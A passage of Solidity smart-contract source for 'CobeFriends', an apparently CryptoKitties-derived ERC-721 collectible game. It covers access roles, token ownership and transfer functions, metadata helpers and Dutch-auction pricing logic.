* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/// @title A facet of CobeFriendCore that manages special access privileges.
/// @author CybEye (http://www.cybeye.com/us/index.jsp)
/// @dev See the CobeFriendCore contract documentation to understand how the various contract facets are arranged.
contract CobeFriendACL {
// This facet controls access control for CobeFriends. There are four roles managed here:
//
// - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart
// contracts. It is also the only role that can unpause the smart contract. It is initially
// set to the address that created the smart contract in the CobeFriendCore constructor.
//
// - The CFO: The CFO can withdraw funds from CobeFriendCore and its auction contracts.
//
// - The COO: The COO can release gen0 CobeFriends to auction, and mint promo CobeFriends.
//
// It should be noted that these roles are distinct without overlap in their access abilities, the
// abilities listed for each role above are exhaustive. In particular, while the CEO can assign any
// address to any role, the CEO address itself doesn't have the ability to act in those roles. This
// restriction is intentional so that we aren't tempted to use the CEO address frequently out of
// convenience. The less we use an address, the less likely it is that we somehow compromise the
// account.
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
/// @title Base contract for CobeFriend. Holds all common structs, events and base variables.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev See the CobeFriendCore contract documentation to understand how the various contract facets are arranged.
contract CobeFriendBase is CobeFriendACL {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new CobeFriend comes into existence. This obviously
/// includes any time a CobeFriend is created through the giveBirth method, but it is also called
/// when a new gen0 CobeFriend is created.
event Birth(address owner, uint256 CobeFriendId, uint256 matronId, uint256 sireId, uint256 genes, uint256 generation);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a CobeFriend
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** DATA TYPES ***/
/// @dev The main CobeFriend struct. Every CobeFriend in CobeFriend is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct CobeFriend {
// The CobeFriend's genetic code is packed into these 256-bits, the format is
// sooper-sekret! A CobeFriend's genes never change.
uint256 genes;
// The timestamp from the block when this CobeFriend came into existence.
uint64 birthTime;
// The minimum timestamp after which this CobeFriend can engage in breeding
// activities again. This same timestamp is used for the pregnancy
// timer (for matrons) as well as the siring cooldown.
uint64 cooldownEndBlock;
// The ID of the parents of this CobeFriend, set to 0 for gen0 CobeFriends.
// Note that using 32-bit unsigned integers limits us to a "mere"
// 4 billion CobeFriends. This number might seem small until you realize
// that Ethereum currently has a limit of about 500 million
// transactions per year! So, this definitely won't be a problem
// for several years (even as Ethereum learns to scale).
uint32 matronId;
uint32 sireId;
// Set to the ID of the sire CobeFriend for matrons that are pregnant,
// zero otherwise. A non-zero value here is how we know a CobeFriend
// is pregnant. Used to retrieve the genetic material for the new
// CobeFriend when the birth transpires.
uint32 siringWithId;
// Set to the index in the cooldown array (see below) that represents
// the current cooldown duration for this CobeFriend. This starts at zero
// for gen0 CobeFriends, and is initialized to floor(generation/2) for others.
// Incremented by one for each successful breeding action, regardless
// of whether this CobeFriend is acting as matron or sire.
uint16 cooldownIndex;
// The "generation number" of this CobeFriend. CobeFriends minted by the CZ contract
// for sale are called "gen0" and have a generation number of 0. The
// generation number of all other CobeFriends is the larger of the two generation
// numbers of their parents, plus one.
// (i.e. max(matron.generation, sire.generation) + 1)
uint16 generation;
}
/*** CONSTANTS ***/
/// @dev A lookup table inCobeFriending the cooldown duration after any successful
/// breeding action, called "pregnancy time" for matrons and "siring cooldown"
/// for sires. Designed such that the cooldown roughly doubles each time a CobeFriend
/// is bred, encouraging owners not to just keep breeding the same CobeFriend over
/// and over again. Caps out at one week (a CobeFriend can breed an unbounded number
/// of times, and the maximum cooldown is always seven days).
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the CobeFriend struct for all CobeFriends in existence. The ID
/// of each CobeFriend is actually an index into this array. Note that ID 0 is a negaCobeFriend,
/// the unCobeFriend, the mythical beast that is the parent of all gen0 CobeFriends. A bizarre
/// creature that is both matron and sire... to itself! Has an invalid genetic code.
/// In other words, CobeFriend ID 0 is invalid... ;-)
CobeFriend[] CobeFriends;
/// @dev A mapping from CobeFriend IDs to the address that owns them. All CobeFriends have
/// some valid owner address, even gen0 CobeFriends are created with a non-zero owner.
mapping (uint256 => address) public CobeFriendIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
/// @dev A mapping from CobeFriendIDs to an address that has been approved to call
/// transferFrom(). Each CobeFriend can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public CobeFriendIndexToApproved;
/// @dev A mapping from CobeFriendIDs to an address that has been approved to use
/// this CobeFriend for siring via breedWith(). Each CobeFriend can only have one approved
/// address for siring at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public sireAllowedToAddress;
/// @dev The address of the ClockAuction contract that handles sales of CobeFriends. This
/// same contract handles both peer-to-peer sales as well as the gen0 sales which are
/// initiated every 15 minutes.
SaleClockAuction public saleAuction;
/// @dev Assigns ownership of a specific CobeFriend to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Since the number of CobeFriends is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
CobeFriendIndexToOwner[_tokenId] = _to;
// When creating new CobeFriends _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// once the CobeFriend is transferred also clear sire allowances
delete sireAllowedToAddress[_tokenId];
// clear any previously approved ownership exchange
delete CobeFriendIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @dev An internal method that creates a new CobeFriend and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Birth event
/// and a Transfer event.
/// @param _matronId The CobeFriend ID of the matron of this CobeFriend (zero for gen0)
/// @param _sireId The CobeFriend ID of the sire of this CobeFriend (zero for gen0)
/// @param _generation The generation number of this CobeFriend, must be computed by caller.
/// @param _genes The CobeFriend's genetic code.
/// @param _owner The inital owner of this CobeFriend, must be non-zero (except for the unCobeFriend, ID 0)
function _createCobeFriend(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner
)
internal
returns (uint)
{
// These requires are not strictly necessary, our calling code should make
// sure that these conditions are never broken. However! _createCobeFriend() is already
// an expensive call (for storage), and it doesn't hurt to be especially careful
// to ensure our data structures are always valid.
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
// New CobeFriend starts with the same cooldown as parent gen/2
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
CobeFriend memory _CobeFriend = CobeFriend({
genes: _genes,
birthTime: uint64(now),
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 newCobeFriendId = CobeFriends.push(_CobeFriend) - 1;
// It's probably never going to happen, 4 billion CobeFriends is A LOT, but
// let's just be 100% sure we never let this happen.
require(newCobeFriendId == uint256(uint32(newCobeFriendId)));
// emit the birth event
Birth(
_owner,
newCobeFriendId,
uint256(_CobeFriend.matronId),
uint256(_CobeFriend.sireId),
_CobeFriend.genes,
uint256(_CobeFriend.generation)
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newCobeFriendId);
return newCobeFriendId;
}
/// @dev An internal method that creates a new CobeFriend and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Birth event
/// and a Transfer event.
/// @param _matronId The CobeFriend ID of the matron of this CobeFriend (zero for gen0)
/// @param _sireId The CobeFriend ID of the sire of this CobeFriend (zero for gen0)
/// @param _generation The generation number of this CobeFriend, must be computed by caller.
/// @param _genes The CobeFriend's genetic code.
/// @param _owner The inital owner of this CobeFriend, must be non-zero (except for the unCobeFriend, ID 0)
/// @param _time The birth time of CobeFriend
/// @param _cooldownIndex The cooldownIndex of CobeFriend
function _createCobeFriendWithTime(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner,
uint256 _time,
uint256 _cooldownIndex
)
internal
returns (uint)
{
// These requires are not strictly necessary, our calling code should make
// sure that these conditions are never broken. However! _createCobeFriend() is already
// an expensive call (for storage), and it doesn't hurt to be especially careful
// to ensure our data structures are always valid.
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
require(_time == uint256(uint64(_time)));
require(_cooldownIndex == uint256(uint16(_cooldownIndex)));
// Copy down CobeFriend cooldownIndex
uint16 cooldownIndex = uint16(_cooldownIndex);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
CobeFriend memory _CobeFriend = CobeFriend({
genes: _genes,
birthTime: uint64(_time),
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 newCobeFriendId = CobeFriends.push(_CobeFriend) - 1;
// It's probably never going to happen, 4 billion CobeFriends is A LOT, but
// let's just be 100% sure we never let this happen.
require(newCobeFriendId == uint256(uint32(newCobeFriendId)));
// emit the birth event
Birth(
_owner,
newCobeFriendId,
uint256(_CobeFriend.matronId),
uint256(_CobeFriend.sireId),
_CobeFriend.genes,
uint256(_CobeFriend.generation)
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newCobeFriendId);
return newCobeFriendId;
}
// Any C-level can fix how many seconds per blocks are currently observed.
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
/// @title The external contract that is responsible for generating metadata for the CobeFriends,
/// it has one function that will return the data as bytes.
contract ERC721Metadata {
/// @dev Given a token Id, returns a byte array that is supposed to be converted into string.
function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
/// @title The facet of the CobeFriends core contract that manages ownership, ERC-721 (draft) compliant.
/// @dev Ref: https://github.com/ethereum/EIPs/issues/721
/// See the CobeFriendCore contract documentation to understand how the various contract facets are arranged.
contract CobeFriendOwnership is CobeFriendBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "CobeFriends";
string public constant symbol = "CBF";
// The contract that will return CobeFriend metadata
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular CobeFriend.
/// @param _claimant the address we are validating against.
/// @param _tokenId CobeFriend id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular CobeFriend.
/// @param _claimant the address we are confirming CobeFriend is approved for.
/// @param _tokenId CobeFriend id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting CobeFriends on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
CobeFriendIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of CobeFriends owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a CobeFriend to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// CobeFriends specifically) or your CobeFriend may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the CobeFriend to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of CobeFriends
// through the allow + transferFrom flow.
require(_to != address(saleAuction));
// You can only send your own cbf.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific CobeFriend via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the CobeFriend that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a CobeFriend owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the CobeFriend to be transfered.
/// @param _to The address that should take ownership of the CobeFriend. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the CobeFriend to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of CobeFriends currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return CobeFriends.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given CobeFriend.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = CobeFriendIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns a list of all CobeFriend IDs assigned to an address.
/// @param _owner The owner whose CobeFriends we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire CobeFriend array looking for cbfs belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalcbfs = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cbfs have IDs starting at 1 and increasing
// sequentially up to the totalcbf count.
uint256 cbfId;
for (cbfId = 1; cbfId <= totalcbfs; cbfId++) {
if (CobeFriendIndexToOwner[cbfId] == _owner) {
result[resultIndex] = cbfId;
resultIndex++;
}
}
return result;
}
}
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _memcpy(uint _dest, uint _src, uint _len) private view {
// Copy word-length chunks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the CobeFriend whose metadata should be returned.
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
/// @title Auction Core
/// @dev Contains models, variables, and internal methods for the auction.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuctionBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _tokenId - ID of token whose approval to verify.
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
/// @dev Adds an auction to the list of open auctions. Also fires the
/// AuctionCreated event.
/// @param _tokenId The ID of the token to be put on auction.
/// @param _auction Auction to add.
function _addAuction(uint256 _tokenId, Auction _auction) internal {
// Require that all auctions have a duration of
// at least one minute. (Keeps our math from getting hairy!)
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
/// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
// Grab a reference to the seller before the auction struct
// gets deleted.
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction(). )
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint256 bidExcess = _bidAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
// Tell the world!
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev Removes an auction from the list of open auctions.
/// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/// @dev Returns true if the NFT is on auction.
/// @param _auction - Auction to check.
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
/// @dev Returns current price of an NFT on auction. Broken into two
/// functions (this one, that computes the duration from the auction
/// structure, and the other that does the price computation) so we
/// can easily test that the price computation works correctly.
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
// A bit of insurance against negative values (or wraparound).
// Probably not necessary (since Ethereum guarnatees that the
// now variable doesn't ever go backwards).
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
/// @dev Computes the current price of an auction. Factored out
/// from _currentPrice so we can run extensive unit tests.
/// When testing, make this function public and turn on
/// `Current price computation` test suite.
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our public functions carefully cap the maximum values for
// time (at 64-bits) and currency (at 128-bits). _duration is
// also known to be non-zero (see the require() statement in
// _addAuction())
if (_secondsPassed >= _duration) {
// We've reached the end of the dynamic pricing portion
// of the auction, just return the end price.
return _endingPrice;
} else {
// Starting price can be higher than ending price (and often is!), so
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// currentPriceChange can be negative, but if so, will have a magnitude
// less that _startingPrice. Thus, this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/// @title Clock auction for non-fungible tokens.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuction is Pausable, ClockAuctionBase {
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
